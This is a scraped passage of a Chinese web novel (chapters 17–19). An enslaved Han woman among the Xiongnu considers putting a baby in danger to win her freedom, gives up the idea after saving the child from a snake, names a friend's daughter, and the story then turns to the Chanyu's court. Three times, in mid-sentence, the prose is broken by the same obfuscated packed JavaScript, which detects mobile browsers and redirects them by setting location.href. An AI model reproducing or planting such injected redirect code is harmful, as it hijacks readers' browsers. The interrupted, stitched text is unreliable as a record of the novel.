好像世间大多数人的命运都是这样,没有什么所谓的开始,也没有什么所谓的结束。婴儿都在一声哭泣声中匆匆离开母亲的羊水,浑身血液和羊水地落在医护人员手中,然后父母排队给这孩子上户口、上学、工作、结婚,等真正要死那天,用不着排队,就像是一盏灯忽然熄灭,灭了也就灭了,在哪里熄灭都可以,哪一个时刻都可以。 就像前世自己的离世,还有今生的穿越。 很多事情其实没有什么什么理由,也没有太多的希望。生活总是如此,生命总是如此。到处都是残章,到处都是断裂的轨道,到处都是无法回答的问题。 可是属于自己的那份生机又要如何去寻觅? 方才大惊之中她难过至极,一下子呆住了,脑海陷入挣扎,手上的针线活不知不觉也已停滞。 而就在这僵硬之中,床边摇篮里的孩子不知何时醒来了,也许是被父亲去世的消息吓醒,他张开嘴巴嚎啕大哭,小小的一个人也不知哪里来得这么大的能量,哭起来声音震耳欲聋,能掀翻屋顶。 匈奴女人一听见这声音下意识露出一个苦恼的表情,赶忙丢下针线活站起来,走过去将摇篮中的孩子抱起来,拍着孩子后背,胳膊一下下上下颠,一边在室内走来走去,口上“哦哦……别哭了……乖宝宝……别哭了……” “好孩子……妈妈的好孩子……” “妈妈最爱的孩子……别哭了……” …… 匈奴女人不停哄着孩子,孩子还是大声嚎哭,这家的女孩儿听着哭声也不玩羊拐了,两手紧紧盖住耳朵,埋头躲起来。 小婴儿哭得一张胖脸变成了紫红的茄子色,眼泪鼻涕沾了满脸,女人见孩子怎么哭也不听,就将怀里孩子颠了颠,抱高了一些,低下头去,一下下亲孩子额头,亲了几下额头,又去亲眼泪鼻涕泥泞一片的脸蛋…… 庄翎看着这一幕有些接受不了,她虽然仍看着匈奴女人,视线和思想却回归了内心。 也许不到日暮,那个昏倒在石臼附近的胖壮匈奴人就醒过来了,来找她和秋复仇,这回他精神百倍,直接来杀死她们两个,用刀剑、用弓箭,又或者用那双蒲扇大的手,直接捏断她们两个的脖子。 假如这样,秋就不用嫁给伊都了,她也不用在这绝望的路口来回煎熬了。 可是如何甘心呢?她和秋都还那么年轻,应该拥有属于自己的时间和生命,不是随意嫁给谁,也不是随随便便就死掉。 她们应该能自由地使用自己的时间和生命,可以用时间去做自己想要做的事情,也可以为自己愿意做的事情去消耗生命,又或是浪费生命。 假如秋是自由的,她仍然愿意嫁给一个异族人,在那时,庄翎也愿意尊重她。 17. 第 17 章 不一会儿,襁褓中的孩子不哭了,匈奴女人小心将孩子放回摇篮里。 还不等她回胡床上缝衣服,门口毡帘被人撩开,一个陌生匈奴女人提着木桶站在门口,对毡帐内摇篮旁的匈奴女人说道:“贝坎,伏利度从汉人那里弄来了好几口大锅,里头能煮得开三只羊,说是这几天下午可以借给大家熬奶用!” “我要熬一些乳酪,你前两天不是说要熬一些,现在去不去?在他那里熬就省得在家里生火了。” 贝坎左右看了看两个孩子,见大的在地上捂着耳朵,小的躺在摇篮里,家里的针线活也有人在做。孩子不吵闹,家里的活也有人干,奶也是放不了太久,早晚要熬。 她道:“我也去,你等等。”说着她去房子一旁拿装着羊奶的木桶,走动之间,一个灰黑色的小东西从她手上脱落掉在地上,她没发觉,庄翎留意到,顺着东西掉落方向看去,见是一枚铁灰色顶针,她没说什么。 贝坎朝大女儿叫道:“娜木朵,娜木朵!” 娜木朵应了一声:“知道了!” “你在家看好弟弟,我去熬些干酪,过会儿就回来。” 娜木朵头回头大声应道:“知道了!” 贝坎提着装满牛奶的木桶和门口匈奴女人一起离开,出发去熬干酪。匈奴人一般习惯在晚上没什么事儿的时候熬煮牛奶、羊奶,做一些干酪、乳浆之类的食物。 毡帐里现在只剩下三个人,一个是坐在胡床前的庄翎,膝上放着衣服,正一针一针地缝;另一个是七八岁的女孩儿娜木朵,正背对着胡床方向坐着玩羊拐,时而摞起来,时而一个打一个;还有一个摇篮里的婴儿,刚刚这孩子哭累了,正躺在篮子里呼呼大睡。 庄翎只低头缝衣服。 过了一会儿,娜木朵玩腻了手上几个羊拐,她回身看了看盛着弟弟的摇篮,也看了看正在缝衣服的汉人奴隶。看过几眼穿针引线,娜木朵越发觉得无聊,用匈奴话说道:“喂!那个汉人奴隶,你给我唱一首歌!” 庄翎也不抬头,手上继续缝衣服,像是没有听见匈奴女孩儿说话。 娜木朵等了一会儿,见这汉人女奴不动不唱,也不回应自己,她也不再作声,坐了一会儿,爬上一旁小床躺下,不一会儿就睡着了,长而轻气音随着腹部一呼一吸起伏。 空气里静得可怕,能听见纱线从布料中摩擦过去的声音,沙拉沙拉——有些折磨人的耳膜。 庄翎手上又缝了几针,忽地放下手里的针线,直起身子,目光在室内扫了一圈,看过背对着厅室躺在胡床上的娜木朵,又扫过一边摇篮里的小婴儿,她的目光停在摇篮上。 这是一只木条编成的大篮筐,两侧各有一个小小的拎手,麻绳从毡帐顶部的支架上垂下,向下打结分成两股,分别系住摇篮两侧的抓手,将之吊起。 匈奴人的房子是由木架和毡布组成的,木头搭成一个框架,毛毡布料一层层地围上去,围的层数越多,毡壁就越厚,室内就越是暖和。 匈奴女人贝坎家里的毡帐,木架扎得整齐牢靠,毡布围了一层又一层,挡风又温暖。这活计干得漂亮,大约围毡帐的人经验丰富,也是干活的好手。 那些扎毡帐的人当中应该有贝坎的丈夫,不过现在这个人已经去世了。现在庄翎想到这里心情已经非常平静了,她现在没有可以浪费的时间。 庄翎站起身来,轻轻将手里缝了一半的衣服轻轻放在凳子上,她起身走向婴儿摇篮,不过是两三步远的距离,近得让人意外。一闪神,她已经看清了躺在摇篮里的孩子,这孩子脸上带着刚才哭出来的泪痕,睡得很香。 她低头看着孩子,心里默默思索。 读书的时候她对所有安全课程都很认真,自己会使用灭火器,也记得安全课程上教导的心肺复苏术、急性止血手法,还有海姆立克法。 其中海姆立克法适用于不小心吞咽了异物的人,主要是幼童。 眼前的孩子虽然小一些,但也许可以尝试。 至于小孩子咽喉里现在没有东西也容易,庄翎瞥向不远处地面,那有一个金属顶针,也就是一个套在手指上的环戒,宽度有成人一个手指宽,上面有些向内凹陷的点点,平时在缝纫的时候顶住针尾,帮助进针,尤其是缝厚布料的时候用,效率更高一些,可以避免扎到手。 冬天衣服料子厚,刚才缝衣服的时候,庄翎没有顶针用,手上就被扎了好几下。她不在意这点小事,这些日子里,身体感受到的疼痛太多了,被针扎几下也不值得多在意。 匈奴女人贝坎的这顶针大约是黑铁做的,铅灰色一只,因为常被使用摩擦,外表很光滑。这东西从大小和质感上来讲,可以很容易进入婴儿喉咙,然后卡住。 方才贝坎离开的时候,先将孩子放下,然后顶针从她手里脱落,掉落在地面。那会儿门口的匈奴女人没往毡帐里看,娜木朵玩着手里几个羊拐,也没往这边看,贝坎本人也没看到顶针掉下。 也许是掉在地上,又或是掉在孩子的襁褓里,她自己也确定不了。 假如这顶针掉在婴儿襁褓或是摇篮之中,被醒来的孩子误食噎住,她就海姆立克法救活这孩子。 巧合一点,匈奴女人回家的时候正好看见这一幕,没那么巧的话,这里也还有匈奴小女孩儿娜木朵可以当个证人。 救子之恩总归可以索要一些回报,她要贝坎帮自己和秋离开匈奴,想办法送她们回到汉朝,这应该不是很过分。 高压之下,庄翎很快想好了计划,甚至已经想到如何让这孩子吞下顶针,怎么卡在喉咙里,又如何让床上的娜木朵在合适的时间醒过来。 只是但凡操作就可能出现意外,尤其是致人于危险再去救人,风险更大。而且这孩子还太小了,万一将东西吞到肚子里去,后果可能是死亡——何必想这么多,真想这么多就什么都做不成了。 再者说,这襁褓中的孩子也许无辜,但死在匈奴人手里的无辜汉人又何止百千?用这孩子的危险去换取自己的自由,就算真叫这孩子死了,也只是死了个匈奴人而已。若是她和秋能够顺利活下来,对这个匈奴家庭来说也没什么损失。 将一切都想好,也可以动手了,庄翎眨了眨瞪着婴儿有些发酸的眼眶,就准备去拾取地上的那枚黑铁顶针。 就在目光眨动之间,眼珠不和谐地动了一下,她瞳孔里忽然映出一道红色。 庄翎定睛看去,只见一条细细的身带红环的蛇倒盘在吊着摇篮的粗麻绳上,它就在吊篮绳子分叉的三角叉口处,身子三分之一盘住绳子,大半身子向下方婴儿探过来,蛇的视力不好,用舌头感知生物气息,它口中吐出鲜红的长信子,半空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507602|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如丝绸一般游动,探索食物的气息。 眼看这蛇就要咬到篮子中的婴儿,又或是将要钻入这孩子七窍之内,庄翎心中一凛,不假思索伸出手,擒住蛇身七寸,将这蛇扯下摇篮麻绳抛摔在地。 那红蛇一摔在地,当即晕了晕,不一会儿爬起来,往近处有光的地方爬去了,其实庄翎刚才摔蛇方向就是门口,这蛇一苏醒就爬出门去了。 从伸手摔蛇到蛇爬出门去,实在是电光火石。 庄翎在摇篮旁呆住,垂在身侧的手,指尖还残留着蛇身冰冷滑腻的触感,她才想要利用这孩子生死为自己换得一线生机,怎么就反手救了这孩子? 目视摇篮,方才她扯蛇的时候粗麻绳连带着摇篮微微晃动了一下,里头的孩子并未惊醒,犹自睡着。 这个小孩子胖胖的,皮肤微黄,睫毛长长的,鼻子有点塌,睡前哭过,现在睡着了神色看着也有些委屈,更别说脸上一道道泪痕,瞧着邋遢。 捏过蛇的指腹还在微微发麻发抖,但庄翎看见这孩子平安无事立刻松了口气,只觉得一颗心从半空放下来,寂静的空间里,这一点感受被放大得极大,容不得她忽视一分一毫。 ——这毕竟是一条人命,还是个格外幼小的生命。 她在摇篮旁边又站了一会儿,看着熟睡中的小孩子,仍然有些不甘。 过了一会儿,庄翎肩膀一松,像是卸下一个负担,又像是丢了一口气,她回身走到凳子旁,继续缝制衣物。 中途娜木朵睡醒睁开眼,翻身看过去,见母亲不在摇篮旁边,才想起来母亲是和人一起熬干酪去了。想到母亲出门前嘱咐自己看护弟弟,她看摇篮没动静,想弟弟也在睡觉,安下心来。又看了看一旁小凳子上的汉人女奴,见她仍然坐在方凳上,低头为哥哥缝衣服,安安静静,又灰扑扑的。没什么意思,也没什么意外,她揉了揉眼睛,还是发困,便又伏在床上闭眼睡觉。 又过了一会儿,日渐西斜,匈奴女人还是没有回来,估计着时间差不多了,庄翎放下缝了大半的衣服,出门往奴隶营走去,只指腹多了几个针扎出来红点。 穿过栅栏门,匈奴人正在派汤羹,人们三三两两打饭,默默吃饭。 庄翎走向常住的旧毡房,忽听一阵欢声笑闹,也看见了熟悉的人影,是佩兰带着孩子来了,正和秋在一起打闹。 秋今天看上去活泼了些,她身上还穿着自己前两天用麻线补织的衣服,正上下摸索佩兰身上,佩兰躲开,她的小孩儿在一旁咯咯笑。 走近了才听见她们说什么。 秋说:“给我看看你身上有什么好东西?”说着伸手去摸佩兰腰侧微微鼓起来的地方,佩兰往旁边退了半步,躲开,说道:“没什么。” “没什么你躲什么!让我看看!” 正好庄翎过来,秋两步走到庄翎身边,两个人靠得近,却没有像以前一样互相挽胳膊,佩兰没注意这一点,她看见庄翎,说道:“庄姑娘,你回来了?” 庄翎点点头,看看佩兰,看看她身边的小孩儿,见这一大一小都很好,她也笑笑,说道:“是,我回来了。” 这话一落下,好像整个人也像话音一样落下了一般。 佩兰摸了摸身边孩子的头,说道:“我今天来找庄姑娘也是有些事情,不知道方不方便借一步说话?” 18. 第 18 章 庄翎一路走来,不知为何,只觉得疲惫异常,她心里明白,自己是有一点点灰心的。 就在今天,她亲手放掉了一个离开匈奴的机会。因为她动不了手,不愿意杀掉那个孩子,她下不了这样一个决心,就不能按照原本的计划行动。 就像秋说的一样,以后一天比一天冷,大雪也将来到,也许不会再有这样一个机会,让她能够回到汉朝。 不管那个计划会不会顺利,现在都作废掉了,再也不会有这样一个合适的机会。一旦错过今天的机会,她以后也不会在这么做。 庄翎看了秋一眼,就在今天,秋也有一个回到家乡的机会。但现在秋还不知道发生了什么,那张带了划伤的小脸上还有些别扭,眼睛有时候偷看她一眼,有时又假装什么也没看,像是不知道怎样和她相处。 放弃了回到汉朝的机会,从此就再也不知晓秋将来会怎样,还有一旁的佩兰、佩兰身旁的小女孩儿,所有人的命运都说不清了。 这样想着,心念翻腾,说不清内心是更沉重了些,还是更轻盈了些。 几个人走着走着,走到了毡帐后方背阴处,大家站住脚步。这里光线更暗,也更冷,秋风自西北吹过,从三个大人一个孩子之间拂过。秋站在庄翎旁边,缩了缩肩膀,佩兰站在两个人对面,她的孩子越发依靠向她。 庄翎背对毡帐,也觉得冷,一阵风刮过来,将她五脏六腑吹得冰凉,手脚都麻了,她也只是静静站着,任由寒意侵袭。 佩兰将一直往自己身后躲藏的孩子拉出来,推到自己身前。庄翎视线稍稍下垂,正好看见孩子头顶,小孩正面对人有些害羞,低着头扭着身子,正在揉弄手指。 佩兰伸手安抚一般摸了摸孩子的额发,对孩子说道:“孩子,记得娘说过什么?抬起头,让庄姑娘好好看看你。” 小孩子闻言点点头,抬起头来看向庄翎,乌溜溜的眼睛转了转,目光到底不敢看人正脸,只落在庄翎衣襟上。 庄翎微微低头看面前女孩儿,小孩子一年四季都像是春天的树,永远在肆意生长。这孩子现在比刚来匈奴的时候长高了一点点,八九月秋老虎晒得很,孩子脸颊微微晒黑,却仍然柔嫩饱满,一双眼睛圆圆的,天真胆怯,像是某种穴居小动物。 庄翎笑着对孩子打招呼,说:“你好。” 小孩子忽然听见对面人说话吃了一惊,返回身抱住佩兰的腿,脸埋在母亲裙子里,一个音节都不肯发出来。 佩兰摸摸孩子肩膀,笑笑说道:“这孩子从小就胆子小,在家里的时候我和她爹随着她的性子,从不带她见朋友宾客,本以为长大会好些,谁知道这么大了性情也没什么长进。” 话说得像是嫌弃,从表情动作看上去,佩兰对孩子并无责备,只有疼惜。 庄翎看着这一幕,心里不免想匈奴女人的小孩子,还睡在摇篮中呢,不到一岁,比佩兰的孩子要小许多许多。 太小的孩子看起来总让人觉得有些可怜,也许是因为婴童天生的脆弱,这种脆弱没有一点可以掩饰的余地,落在人眼里就变成了可怜。 可怜是外人的感受。 而父母对孩子一定更加深刻得多,她们深刻爱着自己亲身孕育的一团骨肉,假如伤害了一个孩子,绝对会极其刺激这孩子的父母。 那个匈奴女人不久之前才失去丈夫,假若再叫她面对失去孩子的局面,痛苦非得逼疯她不可。 当然,假如这孩子失而复得,她也会如同感激神明一样感激那个救活她孩子的人——这是庄翎原本的打算。 但是现在这个打算被废弃了,她还什么都没做就将这个打算丢掉了。 也许自己不应该为今天的放弃感到遗憾,因为有些事情本来就不应该去做。这样想着,便感到一种哀伤漫上心头,她为自己,也为自己身边的人。 然而也并不后悔。 佩兰在一旁说:“我们这个孩子今年五岁半,长得比同龄孩子瘦小,见过人都以为这孩子还不到五岁。她一出生就是这样小,”佩兰说着,在手里比划了个长短,大概也就一尺多一点,“我和她爹总怕这孩子养不活,在老家给她取了个小名乱叫,要么就叫丫头,来到匈奴之后,我只叫她孩子。” 庄翎心里明白,为人父母对孩子都有自己的考虑。这孩子年纪小,长得瘦小,还是个女孩儿,容易被人捉弄欺负。尤其是这异国他乡,当母亲的做了奴隶,孩子也没有道理可讲。 佩兰每每想到自己带着孩子沦落到匈奴,心里总是无奈又酸苦,现在说到这里,又黯然了片刻。 黄昏里天光暗暗,冷风习习,不适合多待,她收住心上情绪,看看庄翎又微微笑了笑,说道:“如今到了这地方,虽说是时运不济,但遇见庄姑娘是这孩子的造化。当日若非姑娘两次找药来给这孩子用,这孩子恐怕也没办法留住。” 庄翎说:“同路行来,互相照应罢了。” 佩兰点点头,说道:“如今这孩子五岁多了,总该有个正经名字,我知道庄姑娘读过书,识得字,是以想要劳烦您给这孩子取个名字,不知道庄姑娘愿不愿意?” 也算是做好事,庄翎说道:“这好说,我来想一想。” 庄翎说着着眼打量依靠着佩兰的孩子,佩兰也让孩子转身正对庄翎,孩子皮肤微黑,但骨架纤小,五官秀气,的确是女孩儿样子。若在汉朝,长大些大概也只是有些文静罢了,可偏偏落到这虎狼地,有这么个腼腆性子,以后要活下来恐怕要吃些苦头。 最好取个中性一些的名字,这对孩子来说安全一些。 庄翎心里想了想,说道:“这孩子流落到这匈奴胡地,以后究竟会怎样也是难说。而人这一生寿命或长或短,福祸难测,富贵或事业亦不可强求,这孩子……”小孩子背靠佩兰大腿,正睁着一双懵懂的眼睛眼巴巴面前的庄翎,她笑笑,继续道:“只盼她处境平安,一生也都平平安安的,就叫她承安吧,承平的承,平安的安。” 佩兰默默念了两遍“承安”这个名字,只觉得听起来格外贴心顺耳,寓意也让她喜欢,她道:“好……好……孩子,你以后就叫承安好了,快来谢谢庄姑娘。” 她拍拍孩子肩膀,小孩儿对庄翎低头道谢:“谢谢庄姑娘给我取名。” 庄翎对孩子笑了笑。 汉朝和匈奴之间的战争由来已久,从秦朝就在防御北方匈奴,后来匈奴发展壮大,侵凌汉朝,吕太后曾为保护国家安宁与匈奴人卑辞求好,文景两代皇帝也都派遣公主与匈奴人和亲以维持和平,到了汉武帝时期,几乎三分之二的执政生涯都在与匈奴人作战,后来也成功驱逐了匈奴人,这其实是一段很漫长的历史。 也许再过一些年,自己也好,同行而来的许许多多汉人也好,或许都不在了。 而再到许多年后的某一天,战火总会消弭,边关的百姓将不再受战乱之苦,也不用被迫离开家乡,一些流落匈奴的汉人也能回到自己家里去。 到时候岁月承平,国家稳定,百姓安居乐业,若是承安能够活到那一天,也许真能过一些真正平平安安的生活。若是这样才算最好,庄翎也希望承安以后都平平安安的,也平安活到天下太平的时候。 她将心愿祝福寄托给了这个孩子,想到自己此生恐怕再无更多办法,内心难过之余,也渐渐平和起来。 庄翎蹲下身来,看着眼前小承安懵懂胆怯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507603|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色眼睛,伸手轻轻摸了摸孩子的头发。 承安并没有躲开,小孩子是直觉动物,她觉得面前的人不会伤害自己,就乖乖让庄翎摸自己的头发。 只摸了两下,庄翎也就收回手掌站起身来,而在庄翎抚摸孩子头发的时候,佩兰注意到庄翎指腹有许多红点,像是针扎出来的,她关切道:“庄姑娘,你的手……?” 庄翎道:“没什么要紧的。” 那孩子待了一会儿也不怎么怕生了,她其实也见过几次庄翎和秋,对大家也有点熟悉。这会儿靠着佩兰,见没人将注意力放在自己身上,就眨着眼睛悄悄观察对面的庄翎,见她神态温和亲切,心里就多了几分信心和胆量,渐渐向附近看去。 秋本来在庄翎身边听她和佩兰给小孩取名,觉得又冷又没什么意思,目光四处乱看。忽见佩兰这个胆小的孩子大着胆子来看自己,秋立刻咧嘴一笑,双手扣住嘴角眼角,对小承安作了个狰狞鬼脸出来,同时嘴间用气音发出一声:“呵——” 承安正悄悄看到秋,忽见这鬼脸,吓得浑身抖了一下,侧躲在佩兰裙旁,闭上眼睛屏住呼吸,不一会儿又轻轻睁开乌溜溜的眼睛,悄悄观察附近环境。 不知不觉,暮色昏昏,大家渐渐看不清彼此的面目了。佩兰“咦”了一声,伸手摸向衣襟,从中拿去一包东西来,递给庄翎,说道:“今天匈奴人熬制奶酪,叫我过去搅拌,让我离开的时候给了我一些她们做的奶干,庄姑娘和秋姑娘拿着一起尝尝吧。” 说着,她就要将这奶干塞给庄翎,而佩兰还有一个孩子,正是需要补充营养的年龄,应该吃些乳制品。匈奴人使唤奴隶天经地义,从不支付任何东西,会给佩兰奶干,大约也是看在小承安的份上。 庄翎猜到这些,哪里会要,连连推拒。 秋见两人相互推拒,看着中间那一小包奶干,心想佩兰刚才果然是有好东西在身上,方才自己问却不肯告诉,不由得有些介意。 二人推来推去也不是法子,天黑了佩兰也着急离开,她见庄翎不肯收,拿着包了奶干的手帕着急,想了想,从中掏出一些塞到了秋的手里,说道:“秋,你和庄姑娘一起吃吧,我先走了。” 佩兰扔下这句话拉上孩子往奴隶营外走去。 只剩下庄翎和秋两个人了,秋看看庄翎,她身上还有着庄翎白日缝好的麻线,她目光左右游移一会儿,才看向庄翎,将手里的奶块递给庄翎,说道:“姐姐,这是佩兰方才给你的,你吃吧。” 秋看上去有几分拘谨,庄翎也不知怎地,今天一点都不觉得饿,再加上方才已经拒绝过佩兰好几次了,看这东西在自己面前也不觉得是自己的,想到佩兰方才将东西放在秋手上,便对秋说道:“不,这是佩兰给你的。而且,我也不饿,你吃吧。” 冬日将至,昼短夜长,夜幕早早就降落下来,不知不觉视野黑了大半。 庄翎说:“这两天早晚冷,早些回毡帐吧。” 说着,庄翎看了秋一眼,便想要往毡帐走去,正好要经过秋身边,秋忽然问道:“姐姐,你闻闻,我身上臭不臭?” 庄翎便站在秋身侧闻了闻,说道:“没有什么味道。” 秋抿抿唇,无声地将佩兰刚才给的奶干扔在地上,庄翎也看到了,心想是有些浪费,秋道:“天冷了,我们早点休息吧,明天还要干活。” 两个人又一起走回毡帐去,一路上,秋时不时抬起胳膊闻闻袖子,闻过就皱起眉头来,好像她真觉得自己身上有什么奇怪的味道。 又走了一会儿,秋放下袖子,对庄翎说道:“我不稀罕佩兰给的那点残渣,伊都说以后会给我养许多只羊,家里不缺肉吃、不缺奶喝。” 19. 第 19 章 她们沿着毡帐外壁一侧行走,也将要绕到毡帐门口,里面声音依旧琐碎嘈杂,在这里住了许多时日,室内什么模样可以想见,没什么值得期待的。 秋就皱起眉来,这些日子她一心盼望伊都回来娶自己,对奴隶营的一切越发看不顺眼。 走在前侧的庄翎先停住脚步,秋也紧跟着停住脚步,她望向庄翎,想问问她为什么停下来。 庄翎向后微微侧头,看着秋,顿了顿,她说道:“人是一种食谱广泛的生物,不论在哪里都能找到吃的东西,但若是想要在一个地方长久生活,也要考虑能不能适应当地的风俗人情。” “我从前听说匈奴人不设置郡县,部落散居自治,彼此联盟,以王庭大单于为首。而胡人习俗游牧为生,终年迁徙,日常起居毡帐,吃肉咽酪,为人尚武好斗、尊强欺弱……”后面的话恐怕不太好听,但也是事实,庄翎犹豫一下,继续说道:“他们对待妻子和财产,父死子继,兄终弟及,与中原大不相同。” 秋全部听完,咬了咬唇,说道:“我从小在边关长大,毗邻匈奴,见过不少胡人,也知道匈奴人的这些风俗习惯。若是和别人在一起需要考虑这些,但嫁给伊都,倒不用担心这么多。” “伊都他还正当年轻,总也能活过三四十年,就算是寿命短一些,活个一二十年,我也能过一二十年吃饱穿暖的好日子,总强过现在挨饿受冻。他也没有什么父亲兄弟,姐姐说的父死子继、兄终弟及,也是多虑了。” 伊都相关的事情庄翎不太清楚,如果真像秋所说,他没什么父亲兄弟,或许对秋来说也是好事。 也许早早秋就把这些都想过了,确实是她多虑,是多虑还不是更好? 黑夜里看不清秋的表情,听声音知道她对刚才的话有些不以为意,只见秋面朝自己,也许是在看自己是否还有话说,她仍有一两话心里话在肺腑之间。 有些话说出来未必有什么用,但若是不说,以后恐怕会很遗憾。庄翎想了想,还是说道:“虽然吃饱饭、穿好衣裳很不容易,但很少有人会因为能吃饱穿暖而感到真正的满足,一旦衣食稍足,人往往会有更多更想得到的东西。” “到那时候,衣服饮食将不能再满足这个人,而她更想要得到的东西,也不会像食物和衣服一样可以轻易得到。” “如果现在将那些东西抛弃掉,以后再想要得到恐怕也是不能了。” 但谁又能说得清楚到将来,秋不缺少衣服、食物的时候,想要得到的是什么东西呢? 个人的命运有时候就是这样渺小,小到自己抓不起来自己,自己身上所有的东西也都跟着一起变小变轻。 就在现在,站在毡帐之外,秋在庄翎方话音落下之后,一直沉默。而庄翎也和秋一般静默,甚至想不到如果她和秋都留在这里,又会活到哪一天,又有怎样的将来。 庄翎和秋就这样在幽凉的黑夜里静静对视,片刻后,秋说:“姐姐书读得多,道理讲得也大。” 是不是说大话,自己清楚就好,庄翎不多辩驳。 两个人也先后迈步,一起走进前面的破旧毡帐里。 而在王庭中央,穹庐内烛火渐次点亮,室内逐渐亮起来,照亮了高大辉煌的王帐,也照亮了点烛婢女颧骨上墨黑色的弯曲兽纹。 几个婢女手握一只烛台,行走之间,挨个点亮蜡烛。 这些婢女举止轻缓,步伐齐整,行走间衣物不发出多余的声音。她们是匈奴大阏氏的婢女,也是昔日从汉朝陪同公主远嫁匈奴的侍女。匈奴有规定,凡进出大单于穹庐之人,必须面上黥以墨字,当年随公主一起嫁入匈奴的女孩儿,来到匈奴后面上都有了这样一个兽纹墨字。 这么多年,当初来和亲的公主变成了王庭的阏氏,侍女还是做侍女的活,时日久了,不同地位的人们都习惯了现在的生活。 不过也是片刻,几个婢女已经在游走之间点亮了帐内全部的蜡烛,数百烛火齐齐照耀,室内亮如白昼。 只见身着华服的阏氏坐在胡床旁边,她看上去三四十岁,脸上已经有了细细的纹路,却仍然面如秋月,举止雅致,现在她微微侧着头,眉宇之间笼着一层清愁。 而床边站着一个身材高大的匈奴男人,正是匈奴大单于军臣单于,他气度凶悍威严,茂盛的黑发之间夹杂着许多白发,共同披散的肩膀上,看得出来他也已经不年轻了,此时他正将随身所佩重剑搁在床头武器架上。 军臣大单于问道:“夜幕已经落下,阏氏既未安睡,为何不点烛火,而是栖身于黑暗之中?” 胡床上阏氏看了一旁正在安放重剑的大单于,见他虽然老迈,但仍然身体高大健壮,面上更添几分忧愁之色,说道:“我在想王子于单,这两天他带人去阴山围猎。他第一次离我这样遥远,这么久,我有些担心。想着这些,不知不觉到了日暮,我心绪繁愁,不曾注意到天色已暗,是以不曾叫人点亮烛火。侍女见我担忧,欲让我早些安歇,也不曾点亮蜡烛。” “我们的孩子于单是匈奴的王子,他今年十七岁,雏鹰早晚要离开巢穴翱翔捕猎。阴山就在王庭之前,现在秋叶凋零,野兽踪迹无所隐藏。他带着弓箭和宝剑,忠心的亲卫,还有部落里勇猛的年轻人。年轻的小伙子们渴望建功立业,都会拼尽全力保护他取悦他,将来这些年轻人也会是他最忠诚的部下。阏氏你还在担心什么?” 阏氏仍然眉头紧锁,面上忧色不减。 军臣单于侧头打量阏氏,冷冷说道:“你不是担心阴山的老虎和棕熊,而是担心我的弟弟左谷蠡王伊稚邪,是不是?” 伊稚邪是大单于的亲弟弟,也是匈奴的左谷蠡王,正值壮年,威权极重,远胜十七岁的于单王子。 在匈奴,弟弟有权继承哥哥的财产和地位,左谷蠡王重权在手,阏氏不相信她对大单于的王位毫无想法,她担心对方危急于单的继承权,也担心对方会趁于单出去打猎派人暗下毒手。 但是,她不知道军臣单于是什么想法,军臣单于已经老了,到需要考虑继承人的时候了,显然,于单还是稚嫩了些,他身上有些肖似母亲的娟秀,恐怕不符合匈奴人的眼光。 而伊稚邪与军臣单于一母所生,血肉相连,政务军事,左膀右臂,二十余年默契。而匈奴人将子女视为财产,于单在亲情上恐怕也不能与左谷蠡王相比,诸多猜测阏氏并不敢直言。 听见军臣单于问起,连忙否认:“……没……都没有。” 她支支吾吾说完,低下头来。 军臣单于向阏氏走过来,他的确老了,身形虽变化不大,步伐却比年轻时候慢了许多,隐隐有些蹒跚,影子映在毡帐上,左右轻晃,像秋风中挂在树木枯枝上的败叶。 阏氏看着年迈的丈夫走近,对儿子的所有担忧,都比不上亲眼目睹丈夫的衰老,给她带来的恐惧深刻。她眼珠晃动,微微生泪。 军臣单于站在阏氏侧面,一只手搭扶在她的肩膀上,说道:“你是汉朝的公主,为什么胆子如此小?” 阏氏低声说:“大单于您知道,妾是吴王刘濞的女儿,罪王之女,谋逆之后。赖先帝慈悲,念及宗室亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511843|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,保全性命。戴罪之身,本该伏戮,这些年来,却能托庇于大单于穹庐,受您的爱护,实在三生有幸。臣妾所受皇恩与大单于的恩惠太过,是以常常战战兢兢,恐惧不止。” 汉景帝时期,吴王刘濞,联合楚国、赵国等六个国家,以“清君侧”的名义共同发动叛乱,史称吴楚七国之乱。后来周亚夫、梁王刘武等几位将军大臣拱卫京师,平息战乱,几位乱王相继论罪。吴王刘濞身为主谋,战败南逃,欲往东越,为东越国刺客所杀。其子女也连坐论罪,恰逢当时汉匈联姻,吴王之女刘娥被景帝送往匈奴和亲。 刘娥在嫁给军臣单于之后,备受宠爱,生下的于单王子,也很受军臣单于宠爱。 他对这个比自己小了二十多岁的妻子一向多有怜惜之情。 这会儿再次听她提起自己可怜的身世,军臣单于摸了摸妻子柔顺的长发,其实他心里一直明白妻子对伊稚邪的忌惮,对这件事,他也有自己的考虑。 